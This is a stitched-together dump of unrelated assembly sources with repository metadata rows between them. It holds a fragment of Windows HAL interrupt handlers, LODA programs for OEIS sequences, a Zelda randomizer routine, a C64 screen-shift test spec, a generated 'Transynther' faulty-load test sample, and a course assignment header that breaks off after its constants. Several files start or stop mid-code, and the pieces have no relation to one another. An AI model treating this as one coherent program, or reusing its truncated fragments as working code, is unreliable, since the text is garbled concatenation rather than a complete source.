SPURIOUS_INTERRUPT_EXIT ; exit interrupt without eoi
stdENDP _HalpLocalApicErrorService
page ,132
subttl "PC+MP IPI Interrupt Handler"
;++
;
; VOID
; HalpIpiHandler (
; );
;
; Routine Description:
;
; This routine is entered as the result of an interrupt generated by inter
; processor communication.
;
; Arguments:
;
; None.
;
; Return Value:
;
; None.
;
;--
ENTER_DR_ASSIST Hipi_a, Hipi_t
cPublicProc _HalpIpiHandler ,0
;
; Save machine state in trap frame
;
ENTER_INTERRUPT Hipi_a, Hipi_t ; (ebp) -> Trap frame
;
; Save previous IRQL
;
push APIC_IPI_VECTOR ; Vector
sub esp, 4 ; space for OldIrql
;
; We now dismiss the interprocessor interrupt and call its handler
;
stdCall _HalBeginSystemInterrupt,<IPI_LEVEL,APIC_IPI_VECTOR,esp>
stdCall _KiIpiServiceRoutine, <ebp,0>
;
; Do interrupt exit processing
;
INTERRUPT_EXIT ; will return to caller
stdENDP _HalpIpiHandler
;++
;
; VOID
; HalpApicSpuriousService(
; );
;
;Routine Description:
;
; A place for spurious interrupts to end up.
;
;--
cPublicProc _HalpApicSpuriousService,0
iretd
stdENDP _HalpApicSpuriousService
;++
;
; VOID
; _PicInterruptHandlerIntiXX(
; );
;
;Routine Description:
;
; These handlers receive interrupts from the PIC and reissues them via
; a vector at the proper priority level. This is used to provide a symetric
; interrupt distribution on a non symetric system.
;
; The PIC interrupts will normally only be received (in the PC+MP Hal) via an
; interrupt input from on either the IO Unit or the Local unit which has been
; programed as EXTINT. EXTINT interrupts are received outside of the APIC
; priority structure (the PIC provides the vector). We use the APIC ICR to
; generate interrupts to the proper handler at the proper priority.
;
; The EXTINT interrupts are directed to a single processor, currently P0.
; There is no good reason why they can't be directed to another processor.
;
; Since one processor must absorb the overhead of redistributing PIC interrupts
; the interrupt handling on a system using EXTINT interrupts is not symetric.
;
;--
ENTER_DR_ASSIST Hcpic_a, Hcpic_t
cPublicProc PicHandler ,0
PicInterruptHandlerInti0:
push 0
jmp short CommonPicHandler
PicInterruptHandlerInti1:
push 1
jmp short CommonPicHandler
PicInterruptHandlerInti2:
push 2
jmp short CommonPicHandler
PicInterruptHandlerInti3:
push 3
jmp short CommonPicHandler
PicInterruptHandlerInti4:
push 4
jmp short CommonPicHandler
PicInterruptHandlerInti5:
push 5
jmp short CommonPicHandler
PicInterruptHandlerInti6:
push 6
jmp short CommonPicHandler
PicInterruptHandlerInti7:
;
; Check to see if this is a spurious interrupt
;
push eax
mov al, OCW3_READ_ISR ; tell 8259 we want to read ISR
out PIC1_PORT0, al
IODelay ; delay
in al, PIC1_PORT0 ; (al) = content of PIC 1 ISR
test al, 10000000B ; Is In-Service register set?
pop eax
jz short pic7_spurious ;
push 7
jmp short CommonPicHandler
picf_spurious:
mov al, OCW2_SPECIFIC_EOI OR SlavePicInti ; specific eoi to master for pic2 eoi
out PIC1_PORT0, al
pop eax
pic7_spurious:
iretd ; ignore PIC
PicInterruptHandlerInti8:
push 8
jmp short CommonPicHandler
PicInterruptHandlerInti9:
push 9
jmp short CommonPicHandler
PicInterruptHandlerIntiA:
push 10
jmp short CommonPicHandler
PicInterruptHandlerIntiB:
push 11
jmp short CommonPicHandler
PicInterruptHandlerIntiC:
push 12
jmp short CommonPicHandler
PicInterruptHandlerIntiD:
push 13
push eax
xor eax, eax
out I386_80387_BUSY_PORT, al
pop eax
jmp short CommonPicHandler
PicInterruptHandlerIntiE:
push 14
jmp short CommonPicHandler
PicInterruptHandlerIntiF:
push eax
mov al, OCW3_READ_ISR ; tell 8259 we want to read ISR
out PIC2_PORT0, al
IODelay ; delay
in al, PIC2_PORT0 ; (al) = content of PIC 1 ISR
test al, 10000000B ; Is In-Service register set?
jz short picf_spurious ; Go eoi PIC1 & Ignore PIC2
pop eax
push 15
jmp short CommonPicHandler
CommonPicHandler:
ENTER_INTERRUPT Hcpic_a, Hcpic_t,PassDwordParm ; (ebp) -> Trap frame
;
; Need to determine if we have a level interrupt and if so don't EOI it
; It should be EOI'd by end system interrupt
;
cmp bl, 8 ; Pic or Slave Pic
jae short cph20
mov al, bl
or al, OCW2_SPECIFIC_EOI ; specific eoi
out PIC1_PORT0, al ; dismiss the interrupt
jmp short cph30
cph20:
mov al, OCW2_NON_SPECIFIC_EOI ; send non specific eoi to slave
out PIC2_PORT0, al
mov al, OCW2_SPECIFIC_EOI OR SlavePicInti ; specific eoi to master for pic2 eoi
out PIC1_PORT0, al ; send irq2 specific eoi to master
cph30:
mov al, _HalpPICINTToVector[ebx] ; Get vector for PIC interrupt
or al, al ; Is vector known?
jz short cph90 ; No, don't dispatch it
;
; Now gain exclusive access to the ICR
;
STALL_WHILE_APIC_BUSY
cmp bl, 8
je short HandleClockInti
;
; Write the IPI Command to the Memory Mapped Register
;
mov dword ptr APIC[LU_INT_CMD_HIGH], DESTINATION_ALL_CPUS
APICFIX edx
mov dword ptr APIC[LU_INT_CMD_LOW], eax
jmp short cph90
HandleClockInti:
;
; Write the IPI Command to the Memory Mapped Register
;
mov dword ptr APIC[LU_INT_CMD_LOW], (DELIVER_FIXED OR ICR_SELF OR APIC_CLOCK_VECTOR)
cph90: APICFIX edx
SPURIOUS_INTERRUPT_EXIT ; exit interrupt without eoi
stdENDP PicHandler
;++
;
; VOID
; _PicXXNopHandler(
; );
;
;Routine Description:
;
; These handlers are designed to be installed on a system to field any PIC
; interrupts when there are not supposed to be any delivered.
;
; In the Debug case this routine increments an error count EOI's the PIC and
; returns. Normally the increment is not performed.
;--
cPublicProc PicNopHandler ,0
PicNopHandlerInti0:
push eax ; Save Scratch Registers
mov al, 0
jmp short CommonPic1NopHandler
PicNopHandlerInti1:
push eax ; Save Scratch Registers
mov al, 1
jmp short CommonPic1NopHandler
PicNopHandlerInti2:
push eax ; Save Scratch Registers
mov al, 2
jmp short CommonPic1NopHandler
PicNopHandlerInti3:
push eax ; Save Scratch Registers
mov al, 3
jmp short CommonPic1NopHandler
PicNopHandlerInti4:
push eax ; Save Scratch Registers
mov al, 4
jmp short CommonPic1NopHandler
PicNopHandlerInti5:
push eax ; Save Scratch Registers
mov al, 5
jmp short CommonPic1NopHandler
PicNopHandlerInti6:
push eax ; Save Scratch Registers
mov al, 6
jmp short CommonPic1NopHandler
PicNopHandlerInti7:
push eax ; Save Scratch Registers
mov al, 7
CommonPic1NopHandler:
;
; Need to determine if we have a level interrupt and if so don't EOI it
; It should be EOI'd by end system interrupt
;
or al, OCW2_SPECIFIC_EOI ; specific eoi
out PIC1_PORT0, al ; dismiss the interrupt
pop eax ; Restore Scratch registers
iretd
PicNopHandlerIntiD:
push eax
xor eax, eax
out I386_80387_BUSY_PORT, al
pop eax
CommonPic2NopHandler:
push eax
;
; Need to determine if we have a level interrupt and if so don't EOI it
; It should be EOI'd by end system interrupt
;
mov al, OCW2_NON_SPECIFIC_EOI ; send non specific eoi to slave
out PIC2_PORT0, al
mov al, OCW2_SPECIFIC_EOI OR SlavePicInti ; specific eoi to master for pic2 eoi
out PIC1_PORT0, al ; send irq2 specific eoi to master
pop eax
iretd
stdENDP PicNopHandler
_TEXT ENDS
END
| 28.14902 | 100 | 0.574011 |
fdb29eac3722e40033c2da12ce7119a8bc792f20 | 384 | asm | Assembly | programs/oeis/029/A029883.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/029/A029883.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/029/A029883.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A029883: First differences of Thue-Morse sequence A001285.
; 1,0,-1,1,-1,0,1,0,-1,0,1,-1,1,0,-1,1,-1,0,1,-1,1,0,-1,0,1,0,-1,1,-1,0,1,0,-1,0,1,-1,1,0,-1,0,1,0,-1,1,-1,0,1,-1,1,0,-1,1,-1,0,1,0,-1,0,1,-1,1,0,-1,1,-1,0,1,-1,1,0,-1,0,1,0,-1,1,-1,0,1,-1,1,0,-1,1,-1,0,1,0,-1,0,1,-1,1,0,-1,0,1,0,-1,1
seq $0,36577 ; Ternary Thue-Morse sequence: closed under a->abc, b->ac, c->b.
sub $0,1
| 64 | 234 | 0.539063 |
df4508c08d879cec62dbf88a57a89a95ff4c6be6 | 861 | asm | Assembly | zelda.asm | mmxbass/z3randomizer | 04906b5f872e0afb46bf7c98161da50f82235a08 | [
"MIT"
] | 20 | 2017-05-17T23:00:36.000Z | 2018-11-29T20:07:06.000Z | zelda.asm | mmxbass/z3randomizer | 04906b5f872e0afb46bf7c98161da50f82235a08 | [
"MIT"
] | 13 | 2017-07-19T19:16:53.000Z | 2018-04-23T19:52:15.000Z | zelda.asm | mmxbass/z3randomizer | 04906b5f872e0afb46bf7c98161da50f82235a08 | [
"MIT"
] | 17 | 2017-05-22T19:58:01.000Z | 2018-11-22T03:35:57.000Z | ;================================================================================
; Spawn Zelda (or not)
;--------------------------------------------------------------------------------
SpawnZelda:
LDA.l FollowerIndicator : CMP.b #$08 : BEQ + ; don't spawn if dwarf is present
CMP.b #$07 : BEQ + ; don't spawn if frog is present
CMP.b #$0C : BEQ + ; don't spawn if purple chest is present
CLC
+ RTL
;--------------------------------------------------------------------------------
EndRainState:
LDA.l InitProgressIndicator : BIT.b #$80 : BNE + ; check for instant post-aga
LDA.b #$02 : STA.l ProgressIndicator
RTL
+
LDA.b #$03 : STA.l ProgressIndicator
LDA.l InitLumberjackOW : STA.l OverworldEventDataWRAM+$02
RTL
;--------------------------------------------------------------------------------
| 43.05 | 85 | 0.389082 |
0fabba2b1d16eb19679d7fc1f7458e9595e50a57 | 2,911 | asm | Assembly | spec/tiles-common.spec.asm | c64lib/text | 46d630e1f071fe21572a99d4a2036d65becce1c4 | [
"MIT"
] | 1 | 2020-12-28T23:13:01.000Z | 2020-12-28T23:13:01.000Z | spec/tiles-common.spec.asm | c64lib/text | 46d630e1f071fe21572a99d4a2036d65becce1c4 | [
"MIT"
] | 7 | 2018-07-21T20:46:43.000Z | 2019-12-26T18:59:30.000Z | spec/tiles-common.spec.asm | c64lib/text | 46d630e1f071fe21572a99d4a2036d65becce1c4 | [
"MIT"
] | null | null | null | #import "64spec/lib/64spec.asm"
#import "../lib/tiles-screen-shift.asm"
sfspec: init_spec()
describe("_t2_shiftScreenLeft")
it("shifts screen to the left by 1 byte"); {
jsr shiftScreenLeft
assert_bytes_equal 1000: testScreenData: expectedScreenData_left
}
describe("_t2_shiftScreenRight")
it("shifts screen to the right by 1 byte"); {
jsr shiftScreenRight
assert_bytes_equal 1000: testScreenData: expectedScreenData_right
}
describe("_t2_shiftScreenTop")
it("shifts screen to the top by 1 byte"); {
jsr shiftScreenTop
assert_bytes_equal 1000: testScreenData: expectedScreenData_top
}
describe("_t2_shiftScreenBottom")
it("shifts screen to the bottom by 1 byte"); {
jsr shiftScreenBottom
assert_bytes_equal 1000: testScreenData: expectedScreenData_bottom
}
finish_spec()
* = * "Data"
.namespace c64lib {
.var @cfg = TileCommonConfig()
.eval @cfg.bank = 0
.eval @cfg.page0 = 5120/1024
.eval @cfg.startRow = 1
.eval @cfg.endRow = 23
}
.align $400
testScreenData: {
.for(var y = 0; y < cfg.startRow; y++) {
.fill 40, i
}
.var v = 0
.for(var y = cfg.startRow; y <= cfg.endRow; y++) {
.fill 40, <(v + i)
.eval v++
}
.for(var y = cfg.endRow + 1; y < 25; y++) {
.fill 40, i
}
}
.print "test data address = " + testScreenData
expectedScreenData_left: {
.for(var y = 0; y < cfg.startRow; y++) {
.fill 40, i
}
.var v = 0
.for(var y = cfg.startRow; y <= cfg.endRow; y++) {
.fill 39, <(v + i + 1)
.byte <(v + 39)
.eval v++
}
.for(var y = cfg.endRow + 1; y < 25; y++) {
.fill 40, i
}
}
expectedScreenData_right: {
.for(var y = 0; y < cfg.startRow; y++) {
.fill 40, i
}
.var v = 0
.for(var y = cfg.startRow; y <= cfg.endRow; y++) {
.byte <(v + 1)
.fill 39, <(v + i + 1)
.eval v++
}
.for(var y = cfg.endRow + 1; y < 25; y++) {
.fill 40, i
}
}
expectedScreenData_top: {
.for(var y = 0; y < cfg.startRow; y++) {
.fill 40, i
}
.var v = 0
.for(var y = cfg.startRow; y <= cfg.endRow - 1; y++) {
.byte <(v + 2)
.fill 39, <(v + i + 2)
.eval v++
}
.byte <(v + 1)
.fill 39, <(v + i + 1)
.for(var y = cfg.endRow + 1; y < 25; y++) {
.fill 40, i
}
}
expectedScreenData_bottom: {
.for(var y = 0; y < cfg.startRow; y++) {
.fill 40, i
}
.var v = 0
.byte <(v + 2)
.fill 39, <(v + i + 2)
.for(var y = cfg.startRow + 1; y <= cfg.endRow; y++) {
.byte <(v + 2)
.fill 39, <(v + i + 2)
.eval v++
}
.for(var y = cfg.endRow + 1; y < 25; y++) {
.fill 40, i
}
}
shiftScreenLeft: .namespace c64lib { _t2_shiftScreenLeft(@cfg, 0, 0); rts }
shiftScreenRight: .namespace c64lib { _t2_shiftScreenRight(@cfg, 0); rts }
shiftScreenTop: .namespace c64lib { _t2_shiftScreenTop(@cfg, 0); rts }
shiftScreenBottom: .namespace c64lib { _t2_shiftScreenBottom(@cfg, 0); rts }
| 22.742188 | 78 | 0.577465 |
2c41da9fe03d1be3e4f9ae563f929b98af8c73bc | 642 | asm | Assembly | programs/oeis/202/A202206.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/202/A202206.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/202/A202206.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A202206: a(n) = 3*a(n-1)+3*a(n-2) with a(0)=1 and a(1)=2.
; 1,2,9,33,126,477,1809,6858,26001,98577,373734,1416933,5372001,20366802,77216409,292749633,1109898126,4207943277,15953524209,60484402458,229313780001,869394547377,3296124982134
mov $6,$0
mov $8,2
lpb $8
mov $0,$6
mov $3,0
sub $8,1
add $0,$8
sub $0,1
mov $2,$0
mov $4,2
lpb $4
mov $0,$2
sub $4,1
add $0,$4
trn $0,1
seq $0,103820 ; Whitney transform of 3^n.
mov $5,$4
mul $5,$0
add $3,$5
mov $7,$0
lpe
min $2,1
mul $2,$7
mov $7,$3
sub $7,$2
mov $9,$8
mul $9,$7
add $1,$9
lpe
min $6,1
mul $6,$7
sub $1,$6
mov $0,$1
| 17.351351 | 177 | 0.571651 |
cd62542fa0647ed0f5ae906d8ced617c85d17da6 | 6,447 | asm | Assembly | Transynther/x86/_processed/AVXALIGN/_zr_/i3-7100_9_0xca_notsx.log_21829_2002.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/AVXALIGN/_zr_/i3-7100_9_0xca_notsx.log_21829_2002.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/AVXALIGN/_zr_/i3-7100_9_0xca_notsx.log_21829_2002.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r13
push %r9
push %rcx
push %rdi
push %rsi
lea addresses_D_ht+0xff73, %rsi
lea addresses_WT_ht+0x1879f, %rdi
nop
nop
nop
nop
nop
cmp $49467, %r11
mov $20, %rcx
rep movsw
nop
nop
nop
nop
nop
add $11755, %r13
lea addresses_UC_ht+0x5c15, %r9
nop
nop
add $45531, %r10
mov (%r9), %ecx
sub %r10, %r10
lea addresses_D_ht+0xc5b3, %rsi
nop
nop
nop
nop
sub $25814, %rdi
movl $0x61626364, (%rsi)
nop
nop
nop
nop
nop
cmp $20751, %r9
lea addresses_normal_ht+0x179f3, %r9
nop
nop
nop
nop
nop
sub $28594, %rsi
mov (%r9), %rcx
nop
nop
inc %rsi
lea addresses_D_ht+0x11b13, %rcx
nop
nop
nop
nop
nop
sub %rsi, %rsi
movups (%rcx), %xmm3
vpextrq $1, %xmm3, %rdi
dec %r9
lea addresses_A_ht+0x15b5b, %rdi
nop
nop
nop
cmp $57268, %r9
mov $0x6162636465666768, %r10
movq %r10, %xmm0
movups %xmm0, (%rdi)
nop
nop
nop
nop
nop
cmp $34720, %r10
lea addresses_A_ht+0xddb3, %rdi
nop
nop
nop
nop
and $53448, %rcx
mov (%rdi), %r13w
cmp $63835, %r13
lea addresses_WT_ht+0x5ba3, %r10
nop
dec %r13
movups (%r10), %xmm6
vpextrq $0, %xmm6, %rdi
inc %r13
lea addresses_WT_ht+0x41da, %r9
nop
nop
nop
nop
add %r10, %r10
and $0xffffffffffffffc0, %r9
vmovntdqa (%r9), %ymm6
vextracti128 $0, %ymm6, %xmm6
vpextrq $0, %xmm6, %rcx
nop
nop
nop
nop
nop
xor %rdi, %rdi
pop %rsi
pop %rdi
pop %rcx
pop %r9
pop %r13
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %rax
push %rbx
push %rcx
push %rdi
push %rsi
// REPMOV
mov $0x2b3, %rsi
lea addresses_A+0x1e913, %rdi
clflush (%rdi)
nop
nop
add %r10, %r10
mov $94, %rcx
rep movsb
nop
nop
nop
sub %rdi, %rdi
// Faulty Load
lea addresses_A+0x15db3, %r10
nop
xor %rdi, %rdi
mov (%r10), %rcx
lea oracles, %r10
and $0xff, %rcx
shlq $12, %rcx
mov (%r10,%rcx,1), %rcx
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_A', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_P', 'congruent': 7, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A', 'congruent': 5, 'same': False}}
[Faulty Load]
{'src': {'same': True, 'congruent': 0, 'NT': True, 'type': 'addresses_A', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_D_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 2, 'same': False}}
{'src': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_UC_ht', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 11, 'NT': False, 'type': 'addresses_D_ht', 'size': 4, 'AVXalign': False}}
{'src': {'same': False, 'congruent': 5, 'NT': True, 'type': 'addresses_normal_ht', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 5, 'NT': False, 'type': 'addresses_D_ht', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 3, 'NT': False, 'type': 'addresses_A_ht', 'size': 16, 'AVXalign': False}}
{'src': {'same': False, 'congruent': 5, 'NT': False, 'type': 'addresses_A_ht', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'same': True, 'congruent': 3, 'NT': False, 'type': 'addresses_WT_ht', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 0, 'NT': True, 'type': 'addresses_WT_ht', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 35.618785 | 2,999 | 0.655809 |
7cbc03deab01d1cb0e7d3c22ce7bc0c0680760b0 | 425 | asm | Assembly | programs/oeis/044/A044301.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/044/A044301.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/044/A044301.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A044301: Numbers n such that string 5,5 occurs in the base 9 representation of n but not of n-1.
; 50,131,212,293,374,450,536,617,698,779,860,941,1022,1103,1179,1265,1346,1427,1508,1589,1670,1751,1832,1908,1994,2075,2156,2237,2318,2399,2480,2561,2637,2723,2804,2885,2966,3047,3128
mov $2,1
mov $5,$0
add $0,4
mod $0,9
mov $3,2
lpb $0,1
sub $0,1
mov $2,$3
lpe
mul $2,5
mov $1,$2
add $1,40
mov $4,$5
mul $4,81
add $1,$4
| 22.368421 | 183 | 0.687059 |
61722fac442871610b3d898b8ef641d1dcdfe223 | 2,409 | asm | Assembly | programs/oeis/170/A170787.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/170/A170787.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/170/A170787.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A170787: a(n) = n^9*(n^5 + 1)/2.
; 0,1,8448,2401326,134348800,3052734375,39187120896,339131713228,2199090364416,11438589937725,50000500000000,189876095765466,641961812164608,1968693495099331,5556013743302400,14596482234375000,36028831378702336,84188972573638713,187406782970685696,399503504235290950,819200256000000000,1621960363400777631,3110911240348519168,5796419062845705636,10517861382488064000,18626453399658203125,32254990066400414976,54709498378554922098,91029565204199243776,148779123591472719675,239148459841500000000,378471980830209240496,590295827950891696128,908165864097642512241,1379351185533108793600,2069772600592511718750,3070471158012386082816,4506030712978374047383,6545462852541437350656,9416174701430051883900,13421772931072000000000,18964613761148746598061,26574192290551891039488,36942678923365557851146,50969160180981625651200,69814430477708607421875,94968515631716519769856,128333493653398941218568,172324619925299801358336,229993269086576779443625,305175782226562500000000,402672963527578237534326,528465714159363202613248,689973132678453680094351,896360360917502202796800,1158904523735913882812500,1491428312354973963780096,1910812107621868718359653,2437597045793978574658816,3096693110777404603058850,3918208209838848000000000,4938416272527732093973291,6200884724097306729201408,7757784245683141005653856,9671406565924232652390400,12015919156166774900390625,14879389149054234706657536,18366112595051715059114638,22599289341924399879684096,27724088398897433735389575,33911153662626803500000000,41360605370709414823078956,50306598646895117460307968,61022507049309087690981661,73826806170061313378592000,89089740105262756347656250,107240862064883929931186176,128777549570936890948847523,154274604651761695909906176,184395060234264993618095800,219902325622308864000000000,261673816588727586255255321,310716229264558032912156928,368182631749288370664569766,435391563261058080561561600,513848347770230253537109375,605268847491846331502390016,711605901434340019144642308,835078715499788036321837056,978205493495398908525837525,1143839622941760244500000000,1335209755849995502692146386,1555964152791542328967692288,1810219688709744019198950171,2102615951135868818381459200,2438374895892773999906250000,2823366562121835010175533056,3264181387683153601715302993,3768209707791383641387028736,4343729064301650163610274750
mov $1,$0
pow $0,9
mov $2,$1
pow $2,5
mul $2,$0
add $0,$2
div $0,2
| 219 | 2,305 | 0.935658 |
6da4ee30dd45865ab9c350a8c70e627ff29459d5 | 8,277 | asm | Assembly | 2002-fall/mp4/mp4.asm | ece291/machine-problems | 5f91f9f2ddceb7cda1e14c2973d83023a42d9929 | [
"RSA-MD"
] | 3 | 2016-07-16T04:33:49.000Z | 2021-07-13T16:18:17.000Z | 2002-summer/mp4/mp4.asm | ece291/machine-problems | 5f91f9f2ddceb7cda1e14c2973d83023a42d9929 | [
"RSA-MD"
] | null | null | null | 2002-summer/mp4/mp4.asm | ece291/machine-problems | 5f91f9f2ddceb7cda1e14c2973d83023a42d9929 | [
"RSA-MD"
] | null | null | null | ; MP3 - 291hack
; Your Name
; Today's Date
;
; Ryan Chmiel, Summer 2002
; Author: Peter Johnson, Michael Urman
; University of Illinois, Urbana-Champaign
; Dept. of Electrical and Computer Engineering
;
; Version 1.0
%include "lib291.inc"
;%include "libmp4.inc"
BITS 32
GLOBAL _main
;====== SECTION 1: Define constants =======================================
ESC EQU 01h ; scancode, not ascii
TILE_VISIBLE EQU 80h
TILE_SEEN EQU 40h
TILE_SOLID EQU 20h ; sight AND walking
ATTR_SEEN EQU 00h
ATTR_VISIBLE EQU 80h
MAX_POCKET EQU 26
MAX_TYPES EQU 32
MAP_WIDTH EQU 80
MAP_HEIGHT EQU 40
ITEM_INPOCKET EQU 80h
POCKET_EMPTY EQU -1
PLAYER_ITEM EQU 9
VIS_TILE_WIDTH EQU 20
VIS_TILE_HEIGHT EQU 15
TILE_WIDTH EQU 32
TILE_HEIGHT EQU 32
MAP_CENTER_OFF EQU 7*MAP_WIDTH+9
FONT_DATA_SIZE EQU 8+256*8+256*256
FONT_WIDTH_OFF EQU 0
FONT_HEIGHT_OFF EQU 4
FONT_LOOKUP_OFF EQU 8
